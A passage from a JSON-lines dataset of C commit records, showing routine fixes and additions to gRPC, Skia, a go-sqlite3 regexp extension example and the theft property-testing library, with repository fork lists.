r3555\n","lang":"C","license":"apache-2.0","repos":"rudkx\/swift,SwiftAndroid\/swift,airspeedswift\/swift,kstaring\/swift,hughbe\/swift,SwiftAndroid\/swift,devincoughlin\/swift,johnno1962d\/swift,zisko\/swift,tinysun212\/swift-windows,gottesmm\/swift,natecook1000\/swift,swiftix\/swift.old,hughbe\/swift,uasys\/swift,kperryua\/swift,ken0nek\/swift,uasys\/swift,emilstahl\/swift,ahoppen\/swift,milseman\/swift,austinzheng\/swift,gottesmm\/swift,kstaring\/swift,karwa\/swift,mightydeveloper\/swift,manavgabhawala\/swift,allevato\/swift,adrfer\/swift,johnno1962d\/swift,aschwaighofer\/swift,swiftix\/swift,huonw\/swift,tinysun212\/swift-windows,sdulal\/swift,kusl\/swift,gmilos\/swift,shajrawi\/swift,jopamer\/swift,Ivacker\/swift,ahoppen\/swift,swiftix\/swift.old,JGiola\/swift,gmilos\/swift,calebd\/swift,calebd\/swift,swiftix\/swift,return\/swift,alblue\/swift,sschiau\/swift,jmgc\/swift,russbishop\/swift,felix91gr\/swift,amraboelela\/swift,karwa\/swift,rudkx\/swift,xedin\/swift,Ivacker\/swift,zisko\/swift,IngmarStein\/swift,cbrentharris\/swift,atrick\/swift,slavapestov\/swift,deyton\/swift,gmilos\/swift,austinzheng\/swift,johnno1962d\/swift,austinzheng\/swift,roambotics\/swift,therealbnut\/swift,dreamsxin\/swift,apple\/swift,aschwaighofer\/swift,mightydeveloper\/swift,khizkhiz\/swift,kusl\/swift,slavapestov\/swift,huonw\/swift,jopamer\/swift,KrishMunot\/swift,return\/swift,danielmartin\/swift,tinysun212\/swift-windows,milseman\/swift,jtbandes\/swift,hooman\/swift,tardieu\/swift,LeoShimonaka\/swift,aschwaighofer\/swift,nathawes\/swift,dduan\/swift,Jnosh\/swift,Ivacker\/swift,mightydeveloper\/swift,allevato\/swift,milseman\/swift,jtbandes\/swift,nathawes\/swift,return\/swift,sdulal\/swift,hooman\/swift,emilstahl\/swift,airspeedswift\/swift,brentdax\/swift,milseman\/swift,gottesmm\/swift,natecook1000\/swift,tjw\/swift,modocache\/swift,dreamsxin\/swift,devincoughlin\/swift,apple\/swift,parkera\/swift,JaSpa\/swift,milseman\/swift,LeoShimonaka\/swift,allevato\/swift,harlanhaskins\/swift,bitjammer\/swift,xwu\/swift,alblue\/swift,danielmartin\/swift,adrfer\/swift,bitjammer\/swift,stephentyrone\/swift,therealbnut\/swift,kentya6\/swift,amraboelela\/swift,karwa\/swift,devincoughlin\/swift,karwa\/swift,brentdax\/swift,devincoughlin\/swift,swiftix\/swift.old,khizkhiz\/swift,bitjammer\/swift,jtbandes\/swift,practicalswift\/swift,xwu\/swift,glessard\/swift,shahmishal\/swift,JGiola\/swift,shahmishal\/swift,harlanhaskins\/swift,parkera\/swift,tjw\/swift,jckarter\/swift,tardieu\/swift,brentdax\/swift,xedin\/swift,ben-ng\/swift,JaSpa\/swift,kentya6\/swift,Jnosh\/swift,swiftix\/swift,russbishop\/swift,sschiau\/swift,uasys\/swift,OscarSwanros\/swift,khizkhiz\/swift,manavgabhawala\/swift,sdulal\/swift,harlanhaskins\/swift,brentdax\/swift,hooman\/swift,SwiftAndroid\/swift,xedin\/swift,gribozavr\/swift,shahmishal\/swift,tkremenek\/swift,rudkx\/swift,nathawes\/swift,adrfer\/swift,shajrawi\/swift,JGiola\/swift,parkera\/swift,alblue\/swift,frootloops\/swift,danielmartin\/swift,austinzheng\/swift,stephentyrone\/swift,felix91gr\/swift,jckarter\/swift,glessard\/swift,SwiftAndroid\/swift,tkremenek\/swift,sdulal\/swift,stephentyrone\/swift,natecook1000\/swift,ben-ng\/swift,danielmartin\/swift,dduan\/swift,kentya6\/swift,arvedviehweger\/swift,JGiola\/swift,modocache\/swift,amraboelela\/swift,slavapestov\/swift,alblue\/swift,russbishop\/swift,kusl\/swift,codestergit\/swift,kstaring\/swift,khizkhiz\/swift,modocache\/swift,shahmishal\/swift,JGiola\/swift,IngmarStein\/swift,shajrawi\/swift,gregomni\/swift,stephentyrone\/swift,gribozavr\/swift,jopamer\/swift,djwbrown\/swift,gregomni\/swift,practicalswift\/swift,bitjammer\/swift,kperryua\/swift,cbrentharris\/swift,atrick\/swift,mightydeveloper\/swift,aschwaighofer\/swift,emilstahl\/swift,uasys\/swift,OscarSwanros\/swift,benlangmuir\/swift,practicalswift\/swift,return\/swift,ken0nek\/swift,CodaFi\/swift,kusl\/swift,austinzheng\/swift,parkera\/swift,hughbe\/swift,hooman\/swift,cbrentharris\/swift,sdulal\/swift,MukeshKumarS\/Swift,benlangmuir\/swift,tjw\/swift,felix91gr\/swift,sschiau\/swift,calebd\/swift,swiftix\/swift,sschiau\/swift,xwu\/swift,rudkx\/swift,KrishMunot\/swift,deyton\/swift,KrishMunot\/swift,jmgc\/swift,arvedviehweger\/swift,khizkhiz\/swift,dduan\/swift,jckarter\/swift,milseman\/swift,mightydeveloper\/swift,deyton\/swift,xwu\/swift,natecook1000\/swift,shahmishal\/swift,amraboelela\/swift,practicalswift\/swift,ken0nek\/swift,Jnosh\/swift,danielmartin\/swift,uasys\/swift,rudkx\/swift,devincoughlin\/swift,arvedviehweger\/swift,airspeedswift\/swift,jckarter\/swift,kstaring\/swift,jckarter\/swift,jckarter\/swift,russbishop\/swift,karwa\/swift,xwu\/swift,aschwaighofer\/swift,jtbandes\/swift,airspeedswift\/swift,xwu\/swift,lorentey\/swift,CodaFi\/swift,stephentyrone\/swift,lorentey\/swift,manavgabhawala\/swift,kstaring\/swift,jtbandes\/swift,tjw\/swift,jopamer\/swift,zisko\/swift,russbishop\/swift,MukeshKumarS\/Swift,djwbrown\/swift,SwiftAndroid\/swift,LeoShimonaka\/swift,CodaFi\/swift,therealbnut\/swift,djwbrown\/swift,apple\/swift,KrishMunot\/swift,glessard\/swift,lorentey\/swift,swiftix\/swift,kstaring\/swift,LeoShimonaka\/swift,huonw\/swift,tardieu\/swift,calebd\/swift,LeoShimonaka\/swift,cbrentharris\/swift,airspeedswift\/swift,gottesmm\/swift,parkera\/swift,IngmarStein\/swift,gribozavr\/swift,parkera\/swift,tkremenek\/swift,parkera\/swift,ahoppen\/swift,johnno1962d\/swift,apple\/swift,nathawes\/swift,tkremenek\/swift,slavapestov\/swift,therealbnut\/swift,johnno1962d\/swift,allevato\/swift,tardieu\/swift,jmgc\/swift,glessard\/swift,SwiftAndroid\/swift,slavapestov\/swift,frootloops\/swift,hughbe\/swift,JaSpa\/swift,tinysun212\/swift-windows,modocache\/swift,swiftix\/swift,brentdax\/swift,sschiau\/swift,MukeshKumarS\/Swift,frootloops\/swift,roambotics\/swift,frootloops\/swift,CodaFi\/swift,calebd\/swift,Jnosh\/swift,shahmishal\/swift,swiftix\/swift,tjw\/swift,jtbandes\/swift,ben-ng\/swift,OscarSwanros\/swift,slavapestov\/swift,karwa\/swift,tardieu\/swift,gottesmm\/swift,dduan\/swift,modocache\/swift,kentya6\/swift,Ivacker\/swift,natecook1000\/swift,shahmishal\/swift,ben-ng\/swift,modocache\/swift,jopamer\/swift,xedin\/swift,djwbrown\/swift,gmilos\/swift,atrick\/swift,gregomni\/swift,kentya6\/swift,frootloops\/swift,shajrawi\/swift,manavgabhawala\/swift,codestergit\/swift,jopamer\/swift,huonw\/swift,atrick\/swift,arvedviehweger\/swift,allevato\/swift,kentya6\/swift,gottesmm\/swift,tkremenek\/swift,tkremenek\/swift,shajrawi\/swift,OscarSwanros\/swift,hooman\/swift,emilstahl\/swift,OscarSwanros\/swift,codestergit\/swift,MukeshKumarS\/Swift,lorentey\/swift,adrfer\/swift,xedin\/swift,kentya6\/swift,practicalswift\/swift,rudkx\/swift,ahoppen\/swift,benlangmuir\/swift,deyton\/swift,jopamer\/swift,russbishop\/swift,aschwaighofer\/swift,practicalswift\/swift,adrfer\/swift,Ivacker\/swift,benlangmuir\/swift,therealbnut\/swift,zisko\/swift,Ivacker\/swift,JaSpa\/swift,russbishop\/swift,airspeedswift\/swift,JGiola\/swift,zisko\/swift,IngmarStein\/swift,mightydeveloper\/swift,harlanhaskins\/swift,lorentey\/swift,Ivacker\/swift,jmgc\/swift,kperryua\/swift,sdulal\/swift,codestergit\/swift,frootloops\/swift,codestergit\/swift,lorentey\/swift,roambotics\/swift,shajrawi\/swift,bitjammer\/swift,benlangmuir\/swift,hughbe\/swift,codestergit\/swift,bitjammer\/swift,alblue\/swift,kperryua\/swift,jmgc\/swift,huonw\/swift,CodaFi\/swift,emilstahl\/swift,ben-ng\/swift,LeoShimonaka\/swift,cbrentharris\/swift,cbrentharris\/swift,kusl\/swift,sdulal\/swift,harlanhaskins\/swift,adrfer\/swift,IngmarStein\/swift,gribozavr\/swift,hughbe\/swift,dduan\/swift,CodaFi\/swift,gregomni\/swift,dduan\/swift,MukeshKumarS\/Swift,austinzheng\/swift,djwbrown\/swift,devincoughlin\/swift,Jnosh\/swift,huonw\/swift,ken0nek\/swift,mightydeveloper\/swift,hooman\/swift,ben-ng\/swift,karwa\/swift,jckarter\/swift,practicalswift\/swift,khizkhiz\/swift,MukeshKumarS\/Swift,gribozavr\/swift,manavgabhawala\/swift,harlanhaskins\/swift,apple\/swift,apple\/swift,IngmarStein\/swift,JaSpa\/swift,emilstahl\/swift,natecook1000\/swift,slavapestov\/swift,adrfer\/swift,khizkhiz\/swift,manavgabhawala\/swift,swiftix\/swift.old,therealbnut\/swift,sschiau\/swift,tjw\/swift,djwbrown\/swift,Jnosh\/swift,calebd\/swift,return\/swift,atrick\/swift,johnno1962d\/swift,zisko\/swift,xedin\/swift,kperryua\/swift,therealbnut\/swift,brentdax\/swift,aschwaighofer\/swift,return\/swift,roambotics\/swift,codestergit\/swift,emilstahl\/swift,shajrawi\/swift,return\/swift,lorentey\/swift,CodaFi\/swift,stephentyrone\/swift,benlangmuir\/swift,ben-ng\/swift,devincoughlin\/swift,uasys\/swift,stephentyrone\/swift,atrick\/swift,JaSpa\/swift,gmilos\/swift,sdulal\/swift,kentya6\/swift,sschiau\/swift,kusl\/swift,ken0nek\/swift,arvedviehweger\/swift,gribozavr\/swift,tardieu\/swift,gregomni\/swift,austinzheng\/swift,tjw\/swift,brentdax\/swift,alblue\/swift,roambotics\/swift,frootloops\/swift,djwbrown\/swift,KrishMunot\/swift,deyton\/swift,LeoShimonaka\/swift,tinysun212\/swift-windows,kusl\/swift,xedin\/swift,gmilos\/swift,xwu\/swift,airspeedswift\/swift,IngmarStein\/swift,gribozavr\/swift,dduan\/swift,devincoughlin\/swift,felix91gr\/swift,LeoShimonaka\/swift,allevato\/swift,felix91gr\/swift,gribozavr\/swift,tinysun212\/swift-windows,nathawes\/swift,uasys\/swift,jmgc\/swift,karwa\/swift,swiftix\/swift.old,kperryua\/swift,amraboelela\/swift,MukeshKumarS\/Swift,zisko\/swift,glessard\/swift,OscarSwanros\/swift,gregomni\/swift,deyton\/swift,lorentey\/swift,cbrentharris\/swift,jmgc\/swift,swiftix\/swift.old,shahmishal\/swift,hooman\/swift,gottesmm\/swift,johnno1962d\/swift,gmilos\/swift,Ivacker\/swift,kusl\/swift,nathawes\/swift,glessard\/swift,ahoppen\/swift,harlanhaskins\/swift,huonw\/swift,sschiau\/swift,modocache\/swift,shajrawi\/swift,natecook1000\/swift,ken0nek\/swift,danielmartin\/swift,felix91gr\/swift,KrishMunot\/swift,mightydeveloper\/swift,kperryua\/swift,alblue\/swift,JaSpa\/swift,manavgabhawala\/swift,calebd\/swift,jtbandes\/swift,amraboelela\/swift,tardieu\/swift,cbrentharris\/swift,parkera\/swift,bitjammer\/swift,swiftix\/swift.old,swiftix\/swift.old,tkremenek\/swift,deyton\/swift,ken0nek\/swift,roambotics\/swift,arvedviehweger\/swift,OscarSwanros\/swift,amraboelela\/swift,milseman\/swift,tinysun212\/swift-windows,kstaring\/swift,felix91gr\/swift,danielmartin\/swift,SwiftAndroid\/swift,xedin\/swift,KrishMunot\/swift,arvedviehweger\/swift,emilstahl\/swift,Jnosh\/swift,ahoppen\/swift,hughbe\/swift,allevato\/swift,practicalswift\/swift,nathawes\/swift"}
{"commit":"9c926f325de84b4692d72ac67050bc6f66bbd47d","old_file":"include\/grpc\/impl\/codegen\/fork.h","new_file":"include\/grpc\/impl\/codegen\/fork.h","old_contents":"\/*\n *\n * Copyright 2017 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_IMPL_CODEGEN_FORK_H\n#define GRPC_IMPL_CODEGEN_FORK_H\n\n\/**\n * gRPC applications should call this before calling fork().  There should be no\n * active gRPC function calls between calling grpc_prefork() and\n * grpc_postfork_parent()\/grpc_postfork_child().\n *\n *\n * Typical use:\n * grpc_prefork();\n * int pid = fork();\n * if (pid) {\n *  grpc_postfork_parent();\n *  \/\/ Parent process..\n * } else {\n *  grpc_postfork_child();\n *  \/\/ Child process...\n * }\n *\/\n\nvoid grpc_prefork();\n\nvoid grpc_postfork_parent();\n\nvoid grpc_postfork_child();\n\nvoid grpc_fork_handlers_auto_register();\n\n#endif \/* GRPC_IMPL_CODEGEN_FORK_H *\/\n","new_contents":"\/*\n *\n * Copyright 2017 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_IMPL_CODEGEN_FORK_H\n#define GRPC_IMPL_CODEGEN_FORK_H\n\n\/**\n * gRPC applications should call this before calling fork().  There should be no\n * active gRPC function calls between calling grpc_prefork() and\n * grpc_postfork_parent()\/grpc_postfork_child().\n *\n *\n * Typical use:\n * grpc_prefork();\n * int pid = fork();\n * if (pid) {\n *  grpc_postfork_parent();\n *  \/\/ Parent process..\n * } else {\n *  grpc_postfork_child();\n *  \/\/ Child process...\n * }\n *\/\n\nvoid grpc_prefork(void);\n\nvoid grpc_postfork_parent(void);\n\nvoid grpc_postfork_child(void);\n\nvoid grpc_fork_handlers_auto_register(void);\n\n#endif \/* GRPC_IMPL_CODEGEN_FORK_H *\/\n","subject":"Resolve Swift warnings by specifying void arguments","message":"Resolve Swift warnings by specifying void arguments\n\nThe following functions in the `fork.h` file cause a `This function declaration is not a prototype` warning in Swift:\n```\nvoid grpc_prefork(void);\n\nvoid grpc_postfork_parent(void);\n\nvoid grpc_postfork_child(void);\n\nvoid grpc_fork_handlers_auto_register(void);\n```\n\nExplicitly specifying `void` as the argument resolves the warnings.\n\nReproducible using Xcode 9.2 with `SwiftGRPC`\/`gRPC-Core` via CocoaPods.\n","lang":"C","license":"apache-2.0","repos":"dgquintas\/grpc,jtattermusch\/grpc,ncteisen\/grpc,firebase\/grpc,jboeuf\/grpc,jboeuf\/grpc,nicolasnoble\/grpc,thinkerou\/grpc,donnadionne\/grpc,grpc\/grpc,nicolasnoble\/grpc,pszemus\/grpc,ncteisen\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,ctiller\/grpc,donnadionne\/grpc,ctiller\/grpc,ncteisen\/grpc,jboeuf\/grpc,ejona86\/grpc,mehrdada\/grpc,Vizerai\/grpc,vjpai\/grpc,carl-mastrangelo\/grpc,nicolasnoble\/grpc,dgquintas\/grpc,simonkuang\/grpc,stanley-cheung\/grpc,muxi\/grpc,stanley-cheung\/grpc,Vizerai\/grpc,thinkerou\/grpc,Vizerai\/grpc,mehrdada\/grpc,grpc\/grpc,ncteisen\/grpc,ctiller\/grpc,chrisdunelm\/grpc,ejona86\/grpc,firebase\/grpc,nicolasnoble\/grpc,thinkerou\/grpc,vjpai\/grpc,thinkerou\/grpc,jtattermusch\/grpc,thinkerou\/grpc,muxi\/grpc,thinkerou\/grpc,pszemus\/grpc,thinkerou\/grpc,sreecha\/grpc,jtattermusch\/grpc,carl-mastrangelo\/grpc,sreecha\/grpc,dgquintas\/grpc,Vizerai\/grpc,mehrdada\/grpc,chrisdunelm\/grpc,sreecha\/grpc,ejona86\/grpc,firebase\/grpc,ctiller\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,carl-mastrangelo\/grpc,firebase\/grpc,jtattermusch\/grpc,donnadionne\/grpc,muxi\/grpc,Vizerai\/grpc,thinkerou\/grpc,ctiller\/grpc,stanley-cheung\/grpc,ncteisen\/grpc,vjpai\/grpc,simonkuang\/grpc,carl-mastrangelo\/grpc,sreecha\/grpc,pszemus\/grpc,jtattermusch\/grpc,muxi\/grpc,ejona86\/grpc,carl-mastrangelo\/grpc,thinkerou\/grpc,sreecha\/grpc,vjpai\/grpc,Vizerai\/grpc,Vizerai\/grpc,jboeuf\/grpc,donnadionne\/grpc,dgquintas\/grpc,sreecha\/grpc,nicolasnoble\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,chrisdunelm\/grpc,simonkuang\/grpc,dgquintas\/grpc,chrisdunelm\/grpc,pszemus\/grpc,ctiller\/grpc,mehrdada\/grpc,chrisdunelm\/grpc,jboeuf\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,ejona86\/grpc,thinkerou\/grpc,ncteisen\/grpc,nicolasnoble\/grpc,mehrdada\/grpc,simonkuang\/grpc,grpc\/grpc,carl-mastrangelo\/grpc,jboeuf\/grpc,firebase\/grpc,donnadionne\/grpc,vjpai\/grpc,grpc\/grpc,sreecha\/grpc,carl-mastrangelo\/grpc,grpc\/grpc,vjpai\/grpc,nicolasnoble\/grpc,vjpai\/grpc,grpc\/grpc,firebase\/grpc,carl-mastrangelo\/grpc,sreecha\/grpc,muxi\/grpc,carl-mastrangelo\/grpc,carl-mastrangelo\/grpc,chrisdunelm\/grpc,mehrdada\/grpc,jtattermusch\/grpc,grpc\/grpc,ctiller\/grpc,nicolasnoble\/grpc,firebase\/grpc,donnadionne\/grpc,carl-mastrangelo\/grpc,mehrdada\/grpc,nicolasnoble\/grpc,firebase\/grpc,ejona86\/grpc,mehrdada\/grpc,pszemus\/grpc,ncteisen\/grpc,muxi\/grpc,stanley-cheung\/grpc,ejona86\/grpc,ejona86\/grpc,stanley-cheung\/grpc,dgquintas\/grpc,muxi\/grpc,chrisdunelm\/grpc,ctiller\/grpc,ctiller\/grpc,sreecha\/grpc,Vizerai\/grpc,dgquintas\/grpc,jtattermusch\/grpc,stanley-cheung\/grpc,grpc\/grpc,thinkerou\/grpc,ncteisen\/grpc,jtattermusch\/grpc,simonkuang\/grpc,mehrdada\/grpc,donnadionne\/grpc,simonkuang\/grpc,jboeuf\/grpc,vjpai\/grpc,vjpai\/grpc,ncteisen\/grpc,Vizerai\/grpc,ejona86\/grpc,chrisdunelm\/grpc,simonkuang\/grpc,vjpai\/grpc,firebase\/grpc,ejona86\/grpc,pszemus\/grpc,mehrdada\/grpc,jboeuf\/grpc,firebase\/grpc,simonkuang\/grpc,jboeuf\/grpc,dgquintas\/grpc,carl-mastrangelo\/grpc,pszemus\/grpc,pszemus\/grpc,firebase\/grpc,grpc\/grpc,ncteisen\/grpc,Vizerai\/grpc,muxi\/grpc,muxi\/grpc,dgquintas\/grpc,stanley-cheung\/grpc,jtattermusch\/grpc,sreecha\/grpc,dgquintas\/grpc,sreecha\/grpc,pszemus\/grpc,mehrdada\/grpc,sreecha\/grpc,muxi\/grpc,ctiller\/grpc,ncteisen\/grpc,nicolasnoble\/grpc,ctiller\/grpc,grpc\/grpc,chrisdunelm\/grpc,stanley-cheung\/grpc,ctiller\/grpc,jtattermusch\/grpc,donnadionne\/grpc,ncteisen\/grpc,pszemus\/grpc,simonkuang\/grpc,grpc\/grpc,jboeuf\/grpc,thinkerou\/grpc,chrisdunelm\/grpc,muxi\/grpc,stanley-cheung\/grpc,mehrdada\/grpc,Vizerai\/grpc,ejona86\/grpc,donnadionne\/grpc,chrisdunelm\/grpc,vjpai\/grpc,jtattermusch\/grpc,vjpai\/grpc,pszemus\/grpc,dgquintas\/grpc,jtattermusch\/grpc,muxi\/grpc,grpc\/grpc,ejona86\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,firebase\/grpc,pszemus\/grpc"}
{"commit":"f4d017d65f7e464baeacc04987f5201eabc90c49","old_file":"include\/gpu\/gl\/SkMesaGLContext.h","new_file":"include\/gpu\/gl\/SkMesaGLContext.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GLint   fOldWidth;\n        GLint   fOldHeight;\n        GLint   fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GrGLint fOldWidth;\n        GrGLint fOldHeight;\n        GrGLint fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","subject":"Fix undefined GLint in Mac builds","message":"Fix undefined GLint in Mac builds\n\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@3736 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Frankie-666\/color-emoji.skia,Frankie-666\/color-emoji.skia,Hankuo\/color-emoji.skia,Hankuo\/color-emoji.skia,MatChung\/color-emoji.skia,MatChung\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,Hankuo\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia"}
{"commit":"e6690f40af081594fe34a680e8bfb028952c2174","old_file":"example\/extension\/sqlite3_mod_regexp.c","new_file":"example\/extension\/sqlite3_mod_regexp.c","old_contents":"","new_contents":"#include <regex.h>\n#include <string.h>\n#include <stdio.h>\n#include <sqlite3ext.h>\n\nSQLITE_EXTENSION_INIT1\nstatic void regexp_func(sqlite3_context *context, int argc, sqlite3_value **argv) {\n  if (argc >= 2) {\n    const char *target  = (const char *)sqlite3_value_text(argv[1]);\n    const char *pattern = (const char *)sqlite3_value_text(argv[0]);\n    const char* errstr = NULL;\n    int erroff = 0;\n    int vec[500];\n    int n, rc;\n    pcre* re = pcre_compile(pattern, 0, &errstr, &erroff, NULL);\n    rc = pcre_exec(re, NULL, target, strlen(target), 0, 0, vec, 500); \n    if (rc <= 0) {\n      sqlite3_result_error(context, errstr, 0);\n      return;\n    }\n    sqlite3_result_int(context, 1);\n  }\n}\n__declspec(dllexport) int sqlite3_extension_init(sqlite3 *db, char **errmsg, const sqlite3_api_routines *api) {\n  SQLITE_EXTENSION_INIT2(api);\n  return sqlite3_create_function(db, \"regexp\", 2, SQLITE_UTF8, (void*)db, regexp_func, NULL, NULL);\n}\n","subject":"Add example for sqlite3 extension","message":"Add example for sqlite3 extension\n","lang":"C","license":"apache-2.0","repos":"marccampbell\/go-sqlite3,wuranbo\/go-sqlite3,vonwenm\/go-sqlite3,vonwenm\/go-sqlite3,ArtemTeleshev\/go-sqlite3,helight\/helight_code,lyonel\/go-sqlite3,larsmans\/go-sqlite3,mdevan\/go-sqlite3,mdevan\/go-sqlite3,helight\/helight_code,danderson\/go-sqlite3,larsmans\/go-sqlite3,helight\/helight_code,helight\/helight_code,Schumix\/go-sqlite3,kiwih\/go-sqlite3,denji\/go-sqlite3,JonathanLogan\/go-sqlcipher,joewalnes\/go-sqlite3,shaxbee\/go-sqlite3,gmarik\/go-sqlite3,Schumix\/go-sqlite3,denji\/go-sqlite3,mattn\/go-sqlite3,ArtemTeleshev\/go-sqlite3,ArtemTeleshev\/go-sqlite3,helight\/helight_code,danderson\/go-sqlite3,accense\/go-sqlite3,jabgibson\/go-sqlite3,larsmans\/go-sqlite3,jabgibson\/go-sqlite3,kiwih\/go-sqlite3,mdevan\/go-sqlite3,Schumix\/go-sqlite3,hujunlong\/go-sqlite3,henrylee2cn\/go-sqlite3,accense\/go-sqlite3,helight\/helight_code,xeodou\/go-sqlcipher,shaxbee\/go-sqlite3,lyonel\/go-sqlite3,mattn\/go-sqlite3,marccampbell\/go-sqlite3,jabgibson\/go-sqlite3,vonwenm\/go-sqlite3,denji\/go-sqlite3,mattn\/go-sqlite3,helight\/helight_code,andviro\/go-sqlite3,marccampbell\/go-sqlite3,hujunlong\/go-sqlite3,helight\/helight_code,xeodou\/go-sqlcipher,joewalnes\/go-sqlite3,henrylee2cn\/go-sqlite3,accense\/go-sqlite3,lyonel\/go-sqlite3,wuranbo\/go-sqlite3,danderson\/go-sqlite3,JonathanLogan\/go-sqlcipher,henrylee2cn\/go-sqlite3,joewalnes\/go-sqlite3,JonathanLogan\/go-sqlcipher,hujunlong\/go-sqlite3,kiwih\/go-sqlite3,gmarik\/go-sqlite3,andviro\/go-sqlite3,wuranbo\/go-sqlite3,andviro\/go-sqlite3,helight\/helight_code,shaxbee\/go-sqlite3,xeodou\/go-sqlcipher,gmarik\/go-sqlite3"}
{"commit":"9cdef1b46feb742a91e926f03cf6edc5a074bc4d","old_file":"test\/test_theft_aux.c","new_file":"test\/test_theft_aux.c","old_contents":"#include \"test_theft.h\"\n#include \"theft_aux.h\"\n\nSUITE(aux) {\n    \/\/ builtins\n}\n","new_contents":"#include \"test_theft.h\"\n#include \"theft_aux.h\"\n\nstruct a_squared_lte_b_env {\n    struct theft_print_trial_result_env print_env;\n};\n\nstatic enum theft_trial_res\nprop_a_squared_lte_b(void *arg_a, void *arg_b) {\n    int8_t a = *(int8_t *)arg_a;\n    uint16_t b = *(uint16_t *)arg_b;\n\n    if (0) {\n        fprintf(stdout, \"\\n$$ checking (%d * %d) < %u => %d ? %d\\n\",\n        a, a, b, a * a, a * a <= b);\n    }\n\n    return ((a * a) <= b)\n      ? THEFT_TRIAL_PASS\n      : THEFT_TRIAL_FAIL;\n}\n\nTEST a_squared_lte_b(void) {\n    theft_seed seed = theft_seed_of_time();\n\n    struct a_squared_lte_b_env env;\n    memset(&env, 0x00, sizeof(env));\n\n    struct theft_run_config cfg = {\n        .name = __func__,\n        .fun = prop_a_squared_lte_b,\n        .type_info = {\n            theft_get_builtin_type_info(THEFT_BUILTIN_int8_t),\n            theft_get_builtin_type_info(THEFT_BUILTIN_uint16_t),\n        },\n        .bloom_bits = 20,\n        .seed = seed,\n        .hooks = {\n            .run_pre = theft_hook_run_pre_print_info,\n            .run_post = theft_hook_run_post_print_info,\n            .env = &env,\n        },\n    };\n\n    ASSERT_EQ_FMTm(\"should find counter-examples\",\n        THEFT_RUN_FAIL, theft_run(&cfg), \"%d\");\n    PASS();\n}\n\nSUITE(aux) {\n    \/\/ builtins\n    RUN_TEST(a_squared_lte_b);\n}\n","subject":"Add test using built-in generators.","message":"theft_aux: Add test using built-in generators.\n","lang":"C","license":"isc","repos":"silentbicycle\/theft"}
{"commit":"d0adf82885e8d650575f9290ca2e2620e240bec5","old_file":"treeplayer\/inc\/LinkDef.h","new_file":"treeplayer\/inc\/LinkDef.h","old_contents":"\/* @(#)root\/treeplayer:$Name:  $:$Id: LinkDef.h,v 1.1.1.1 2000\/05\/16 17:00:44 rdm Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all 